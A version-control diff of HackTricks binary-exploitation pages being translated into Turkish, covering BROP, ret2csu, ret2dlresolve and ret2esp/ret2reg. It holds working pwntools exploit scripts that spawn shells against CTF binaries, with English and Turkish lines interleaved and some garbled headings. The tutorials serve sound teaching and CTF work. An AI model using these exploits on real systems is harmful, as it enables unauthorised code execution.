Ancak, orijinal makalede yalnızca **`write`**'den bahsedilmektedir, bu nedenle bunun hakkında konuşalım:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
Mevcut sorun, **write fonksiyonunun PLT içindeki yerini** bilmememizdir ve **verileri soketimize göndermek için bir fd numarasını** bilmememizdir.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
Ancak, **PLT tablosunun nerede olduğunu** biliyoruz ve **davranışına** dayanarak write'ı bulmak mümkündür. Ve sunucu ile **birçok bağlantı** oluşturabiliriz ve bazı bağlantılarımızla eşleşmesini umarak **yüksek bir FD** kullanabiliriz.
Behaviour signatures to find those functions:
Bu fonksiyonları bulmak için davranış imzaları:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılırsa, puts bulundu
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılırsa, dprintf bulundu
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılırsa, write bulundu
## Automatic Exploitation
## Otomatik Sömürü
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References
## Referanslar
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- Orijinal makale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}

78
src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
View File

@ -4,18 +4,17 @@
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Temel Bilgiler
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
**ret2csu**, bir programın kontrolünü ele almaya çalışırken, programın davranışını manipüle etmek için genellikle kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kurduğunu yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak hareket edebilecek bazı gizli mücevherler bulunmaktadır.
### The Magic Gadgets in \_\_libc_csu_init
### \_\_libc_csu_init'deki Sihirli Gadgets
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
**`__libc_csu_init`** içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:
1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerleri ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir.
```armasm
pop rbx;
pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
Bu alet, yığın üzerindeki değerleri bu kayıtlara alarak kontrol etmemizi sağlar.
This gadget allows us to control these registers by popping values off the stack into them.
2. The second sequence uses the values we set up to do a couple of things:
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
2. İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar:
- **Belirli değerleri diğer kayıtlara taşıyarak**, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir.
- **r15 ve rbx'deki değerleri toplayarak** belirlenen bir konuma çağrı yapar, ardından rbx'i 8 ile çarpar.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
3. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** sağlamanız gerekecek:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
...
ret
```
Koşullar şunlar olacaktır:
The conditions will be:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
- `[r12 + rbx*8]` çağrılabilir bir fonksiyonu depolayan bir adrese işaret etmelidir (eğer bir fikriniz yoksa ve pie yoksa, sadece `_init` fonksiyonunu kullanabilirsiniz):
- Eğer \_init `0x400560` adresindeyse, GEF kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]`'in \_init'e işaret eden adres olmasını sağlayın:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
- `rbp` ve `rbx` aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşmez.
- Dikkate almanız gereken bazı atlanan pops var.
- `rbp` and `rbx` must have the same value to avoid the jump
- There are some omitted pops you need to take into account
## RDI ve RSI
## RDI and RSI
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir başka yolu, belirli offset'lere erişmektir:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info:
Daha fazla bilgi için bu sayfayı kontrol edin:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
## Example
## Örnek
### Using the call
### Çağrıyı Kullanma
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` register'larında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu register'ları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
Here's where **ret2csu** comes into play:
İşte burada **ret2csu** devreye giriyor:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
1. **Register'ları Ayarlayın**: İlk sihirli gadget'ı kullanarak stack'ten değerleri alıp rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e yerleştirin.
2. **İkinci Gadget'ı Kullanın**: Bu register'lar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz.
Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son exploit'tir:
```python
from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
> Önceki istismarının bir **`RCE`** gerçekleştirmek için tasarlanmadığını, sadece **`win`** adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde `win` adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak `0xdeadbeefcafed00d` değerini kullandığını unutmayın.
### Bypassing the call and reaching ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
### Çağrıyı atlayarak ret'e ulaşma
Aşağıdaki istismar, **ret2csu**'nun kullanıldığı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) çıkarılmıştır, ancak çağrıyı kullanmak yerine, **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşmaktadır:**
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Neden Sadece libc Kullanmayalım?
### Why Not Just Use libc Directly?
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
Genellikle bu durumlar da [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilen parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunları doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**.
{{#include ../../banners/hacktricks-training.md}}

48
src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View File

@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) ve [**Relro**](../common-binary-protections-and-bypasses/relro.md) sayfasında açıklandığı gibi, Full Relro olmayan ikili dosyalar, sembolleri (dış kütüphanelere ait adresler gibi) ilk kez kullanıldıklarında çözer. Bu çözümleme, **`_dl_runtime_resolve`** fonksiyonu çağrılarak gerçekleşir.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
**`_dl_runtime_resolve`** fonksiyonu, belirtilen sembolü **çözmek** için ihtiyaç duyduğu bazı yapıların yığın referanslarını alır.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
Bu nedenle, dinamik bağlantılı çözümlemenin talep edilen sembolü (örneğin **`system`** fonksiyonu) çözmesini sağlamak için **tüm bu yapıları sahte hale getirmek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür.
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır.
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/)) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır.
Chek this video for a nice explanation about this technique in the second half of the video:
Bu teknik hakkında güzel bir açıklama için videonun ikinci yarısına bakın:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation:
Ya da adım adım açıklama için bu sayfalara göz atın:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
## Saldırı Özeti
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
1. Bazı yerlerde sahte yapılar yazın
2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`)
3. **`_dl_runtime_resolve`** çağrısı için yığında yapıların adreslerini ayarlayın
4. **Çağırın** `_dl_runtime_resolve`
5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır
[**pwntools belgeleri**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) itibarıyla, bir **`ret2dlresolve`** saldırısı şöyle görünür:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
## Örnek
## Example
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
### Saf Pwntools
Bu tekniğin [**örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içermektedir**, ancak burada kullanılan son istismar:
```python
from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
### Raw
### Ham
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
## Other Examples & References
## Diğer Örnekler ve Referanslar
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
- 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve dönüş. Bunu istismar etmek için bof, `read`'i tekrar çağırmak için kullanılır, `.bss` bölümünde daha büyük bir boyutla, `system`'ı yüklemek için `dlresolve` sahte tablolarını oraya depolamak için, ana fonksiyona geri dönmek ve başlangıçtaki bof'u yeniden kullanarak dlresolve'u çağırmak ve ardından `system('/bin/sh')` çağırmak için.
{{#include ../../banners/hacktricks-training.md}}

92
src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
View File

@ -4,27 +4,24 @@
## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
**ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret ettiği için**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) ile başa çıkmanız gerekebilir).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın ortasında değil, işlevin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
### Alan eksikliği
Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikliği yaşıyorsanız (belki sadece birkaç bayt), başlangıçta bir **`jmp`** shellcode'u yazın:
```armasm
sub rsp, 0x30
jmp rsp
```
Ve shellcode'u yığın içinde erken yazın.
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
### Örnek
Bu tekniğin bir örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde, son bir istismar ile bulabilirsiniz:
```python
from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
Bu tekniğin bir başka örneğini [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, `$esp` adresini **küçültmek için** bir gadget kullanılıyor ve ardından shellcode'a atlamak için `jmp esp;` kullanılıyor:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndüğünü biliyorsak, **`call eax`** veya **`jmp eax`** talimatlarını (bilinen **ret2eax** tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, **ilginç bir adres** içeren **herhangi bir başka kayıt** da kullanılabilir (**ret2reg**).
### Example
### Örnek
You can find some examples here:&#x20;
Burada bazı örnekler bulabilirsiniz:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
- **`strcpy`** shellcode'un saklandığı buffer'ın adresini **`eax`**'de saklayacak ve **`eax`** üzerine yazılmadığı için `ret2eax` kullanmak mümkün.
## ARM64
### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
ARM64'te **SP kaydına atlama** sağlayan talimatlar **yoktur**. **SP'yi bir kayda taşıyan ve sonra o kayda atlayan** bir gadget bulmak mümkün olabilir, ancak benim kali'mdeki libc'de böyle bir gadget bulamadım:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
Keşfettiğim tek şey, sp'nin atlamadan önce kopyalandığı kayıt değerini değiştirecek olanlardı (bu yüzden işe yaramaz hale gelecekti):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
Eğer bir kaydın ilginç bir adresi varsa, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
ARM64'te, bir fonksiyonun dönüş değerini saklayan **`x0`**'dır, bu nedenle x0'ın, kullanıcı tarafından kontrol edilen ve çalıştırılacak bir shellcode içeren bir tamponun adresini saklaması mümkündür.
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
Örnek kod:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
Fonksiyonun ayrıştırmasını kontrol ettiğimizde, **tamponun adresinin** (bof'a karşı hassas ve **kullanıcı tarafından kontrol edilen**) **`x0`'da saklandığını** görebiliriz, tampon taşmasından dönerken:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
Ayrıca **`do_stuff`** fonksiyonunda **`br x0`** gadget'ını bulmak da mümkündür:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
Bu gadget'ı kullanarak ona atlayacağız çünkü ikili dosya **PIE OLMADAN** derlenmiştir. Bir desen kullanarak, **tampon taşmasının ofsetinin 80 olduğunu** görebiliriz, bu nedenle istismar şöyle olacaktır:
```python
from pwn import *
@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
> [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
> Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, **sadece dönüş adresinin son 2 baytını** değiştirerek `br x0;` talimatına geri dönmek mümkün olabilirdi, tam adresi bilmeye gerek kalmadan.\
> `fgets` ile bu işe yaramaz çünkü **sonuna bir null (0x00) baytı ekler**.
## Protections
## Koruma Önlemleri
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, bu işe yaramaz çünkü shellcode'u yığında yerleştirip çalıştırmak için atlamamız gerekiyor.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bunlar esp veya başka bir kayda atlamak için bir talimat bulmayı zorlaştırabilir.
## References
## Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

116
src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
View File

